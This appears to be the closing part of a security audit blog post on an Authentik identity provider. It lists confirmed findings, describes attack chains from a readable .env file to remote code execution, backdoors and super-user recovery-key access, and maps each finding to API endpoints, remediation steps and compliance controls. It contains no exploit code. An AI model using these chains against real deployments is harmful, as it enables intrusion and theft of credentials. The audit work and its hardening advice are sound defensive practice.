F-07HIGHCONFIRMED.env 664, plaintext DB pw, full user table + hashes
F-08MED-HIGHHARDENEDCIDRs restricted to 127.0.0.0/8
F-09MEDIUMCONFIRMEDPassword1, admin123, 12345678 all accepted
F-10MEDIUMCONFIRMEDRCE chain to remote file write + IPC key extraction
F-11MEDIUMCONFIGUREDLog level is info (not trace)
F-12HIGHCONFIRMEDRecovery key to super-user, zero auth
CVE-01CRITICALCONFIRMEDRCE with non-superuser RBAC permissions
CVE-02HIGHNOT TESTABLEForward Auth outpost misconfigured
CVE-03HIGHNOT TESTABLEZero SAML providers configured

Bottom line: 9 of 12 findings plus 1 of 3 CVEs confirmed exploitable (10 total).

Critical Attack Chains Validated

Chain 1: .env to RCE to Persistence to God-Mode

This is the full escalation path — the one that takes you from a single file read to owning the entire identity infrastructure.

F-07 (.env readable, 664 permissions -- plaintext PG_PASS and SECRET_KEY)
  |
  v
F-03/CVE-01 (RCE via expression policy -- extract all secrets)
  |  Works with non-superuser RBAC permissions
  v
F-04 (Create persistent backdoor via Blueprint API)
  |
  v
F-12 (Recovery key = god-mode access, no MFA bypass needed)

Chain 2: .env to Direct Database Compromise

This chain bypasses Authentik entirely — invisible to the application’s audit logs.

F-07 (.env readable -- PG_PASS in plaintext)
  |
  v
Direct PostgreSQL access -- full user table, password hashes, superuser mapping
  |
  v
Offline cracking -- credential reuse across downstream applications

Chain 3: RCE to Metrics Exfiltration + Container Persistence

F-03 (RCE via expression policy)
  |
  +--> F-01 (read /dev/shm/metrics.key -- dump 1,048 lines Prometheus data)
  |
  +--> F-10 (write files to container + extract IPC key from /dev/shm/)

From .env read to full infrastructure compromise: under 15 minutes with zero downloaded tools.

Version Deltas: What the Documentation Got Wrong

One of the most valuable outputs of live testing is discovering where documentation diverges from reality. Here’s everything that was different from what I expected based on earlier Authentik versions:

ItemDocumented BehaviorActual (2025.12.3)
Metrics authSECRET_KEY as Basic Auth passwordSeparate Bearer token from /dev/shm/
X-Frame-OptionsMissingPresent (DENY)
X-Content-Type-OptionsMissingPresent (nosniff)
Container userImplied rootRuns as authentik user (CapEff 0x0)
Postgres password env varPOSTGRES_PASSWORDAUTHENTIK_POSTGRESQL__PASSWORD
Policy test endpoint/policies/expression/{id}/test//policies/all/{id}/test/
Property mapping testAccepts user-supplied expressionEvaluates stored expression only
CVE-01 view-only claimPure view permissions enable RCERequires view + add/change RBAC

Operational Lessons Learned

These aren’t theoretical observations. Every one of these lessons came from a moment during the audit where something broke, something surprised me, or something taught me about the gap between documentation and reality.

1. Terminal paste issues are real. Long credentials and URLs get mangled in terminal paste. I lost time debugging authentication failures that were actually truncated keys. Use export variables and reference ${VAR} in commands.

2. Always verify documented behavior against source code. The metrics endpoint auth mechanism changed entirely between versions without documentation updates. I wasted multiple test cycles on Basic Auth before reading the actual monitoring.py source.

3. The API schema is your best friend. When endpoints return unexpected status codes, query /api/v3/schema/?format=json. It gave me the correct test paths that documentation didn’t mention.

4. Expression policies are the RCE vector, not property mappings. Property mapping test evaluates stored code; expression policies accept arbitrary code at creation time. This distinction is the difference between a dead end and full RCE.

5. ak_message() is the exfiltration channel. Policy test returns pass/fail plus a messages array. Without ak_message(), you can execute code but can’t see the output.

6. Blueprint format requires an identifiers block. The identifiers field is separate from attrs. Without it, blueprint validation fails with a confusing error about “invalid identifiers.”

7. Token creation via ak shell is more reliable. Use intent='api' for tokens that need write operations. UI-created tokens may silently fail on POST. Keep the ak shell command ready because tokens expire.

8. Clean up after yourself. Delete test policies, blueprints, users, and recovery tokens. Use 204 status codes to confirm deletion. An audit that leaves artifacts is an audit that creates its own vulnerabilities.

9. Database schema changes between versions. Authentik 2025.12.3 uses group_uuid (not uuid) as the primary key for groups, and is_superuser lives on the group table, not the user table. Always inspect schemas with \d tablename before querying.

10. The .env to DB path bypasses all Authentik controls. Direct PostgreSQL access via PG_PASS leaves zero audit trail in Authentik logs. This attack path is invisible to the application.

11. Chaining findings multiplies impact. F-03 RCE alone is critical. But F-03 chained to F-01 (metrics) + F-10 (persistence) demonstrates the compounding effect of missing container hardening. A read-only filesystem would have blocked the persistence vector.

12. The SSO gateway is only as strong as its weakest password. Five common breached passwords accepted via API without any rejection. Your single point of authentication is only as secure as the weakest credential it allows.

So What Do You Do About It?

If you’re running Authentik — or any identity provider — this audit should not make you abandon the platform. It should make you audit it. Every finding here has a fix. Many of them are straightforward.

Lock down the .env file (chmod 600, chown root:root). Put secrets in a vault like OpenBAO with file:// URI injection. Set the password policy minimum to 15 characters per NIST SP 800-63B Section 5.1.1 and enable HaveIBeenPwned breach database checking. Deploy a reverse proxy like HAProxy in front of Authentik with CSP (per OWASP Secure Headers Project), HSTS, and API endpoint restrictions. Add read_only: true and security_opt: [no-new-privileges:true] to your Docker Compose. Restrict Docker socket access. Update to 2025.12.4 or later to patch CVE-2026-25227, CVE-2026-25748, and CVE-2026-25922.

The goal is not perfection. The goal is eliminating the chains — breaking the path from a single file read to full infrastructure compromise. Every hardening step you apply breaks a link in those chains.

And if you’re not auditing your identity provider? Someone else is. They’re just not going to publish the results.

Sources and References

Appendix A: Per-Finding Compliance Framework Mapping

Every finding maps to specific controls across five compliance frameworks. Organizations subject to any of these frameworks should prioritize remediation of the corresponding findings.

FindingNIST 800-53SOC 2PCI-DSS 4.0CIS v8OWASP ASVS
F-01SC-12, SC-23CC6.13.63.11
F-02CM-7, SC-7CC6.61.2, 1.32.7
F-03AC-6, SI-10CC6.1, CC8.16.53.3
F-04AC-6, CM-7CC8.16.53.3
F-05SI-7, SC-18CC7.16.42.714.2
F-06SC-18, SI-11CC6.66.416.1314.4
F-07SC-28, IA-5CC6.12.1, 8.23.11
F-08SC-7(5), SI-10CC6.61.34.4
F-09IA-5(1)CC6.18.35.23.5
F-10CM-7, AC-6CC6.82.14.1
F-11AU-3, SC-28CC7.110.38.3
F-12IA-2(1), AC-17CC6.28.45.4, 6.4
CVE-01AC-6, SI-10CC6.16.53.3
CVE-02IA-2, SC-23CC6.1, CC6.28.35.4
CVE-03IA-5, SC-13CC6.16.53.3

Framework Summary

FrameworkControls ViolatedFindings
NIST 800-53AC-6, AC-17, AU-3, CM-7, IA-2, IA-5, SC-7, SC-12, SC-13, SC-18, SC-23, SC-28, SI-7, SI-10, SI-11All 15
SOC 2CC6.1, CC6.2, CC6.6, CC6.8, CC7.1, CC8.1All 15
CIS Controls v82.7, 3.3, 3.11, 4.1, 4.4, 5.2, 5.4, 6.4, 8.3, 16.13All 15
PCI-DSS 4.01.2, 1.3, 2.1, 3.6, 6.4, 6.5, 7.1, 8.2, 8.3, 8.4, 10.3F-01–F-12, CVEs
OWASP ASVS3.5, 14.2, 14.4F-05, F-06, F-09
NIST 800-63BSection 5.1.1 (Memorized Secrets)F-09

Appendix B: Authentik API Endpoint Reference

Every API endpoint used during this audit is documented below with its purpose, the HTTP methods exercised, and the findings where it was relevant. All endpoints are relative to the base URL /api/v3/ and require Bearer token authentication unless otherwise noted.

EndpointMethodPurposeFinding(s)
/-/metrics/GETPrometheus metrics export; system, HTTP, DB, and worker metricsF-01
/api/v3/propertymappings/all/GETList all property mappings; returns pk, name, expressionF-03
/api/v3/propertymappings/all/{uuid}/test/POSTExecute stored expression of a specific property mappingF-03
/api/v3/policies/expression/GET, POST, DELETEList, create, delete expression policies; POST accepts arbitrary PythonF-03, CVE-01
/api/v3/policies/all/{uuid}/test/POSTExecute any policy by UUID; requires {"user": <id>}F-01, F-03, F-10, CVE-01
/api/v3/managed/blueprints/GET, POST, DELETEList, create, delete managed blueprints; YAML content for IaC provisioningF-04
/api/v3/stages/captcha/GET, PATCHList and modify CAPTCHA stagesF-05
/api/v3/core/users/GET, POST, DELETEList, create, delete user accountsF-07, F-09, CVE-01
/api/v3/core/users/{id}/set_password/POSTSet user password; no server-side breach checking by defaultF-09
/api/v3/core/users/me/GETReturn currently authenticated user profileF-12
/api/v3/policies/password/GET, PATCHList and modify password policiesF-09
/api/v3/providers/proxy/GETList proxy providers; returns mode, external_hostCVE-02
/api/v3/providers/saml/GETList SAML providersCVE-03
/api/v3/outposts/instances/GETList outpost instances; returns type, configCVE-02
/api/v3/rbac/roles/POST, DELETECreate and delete RBAC rolesCVE-01
/api/v3/rbac/permissions/assigned_by_roles/GET, POSTView and assign permissions to rolesCVE-01
/api/v3/schema/?format=jsonGETOpenAPI v3 schema; machine-readable endpoint mapF-03
/recovery/use-token/{token}/GETConsume recovery token for super-user session; no password or MFAF-12

Published by Oob Skulden™ | Stay Paranoid.

© 2026 Oob Skulden™. All rights reserved.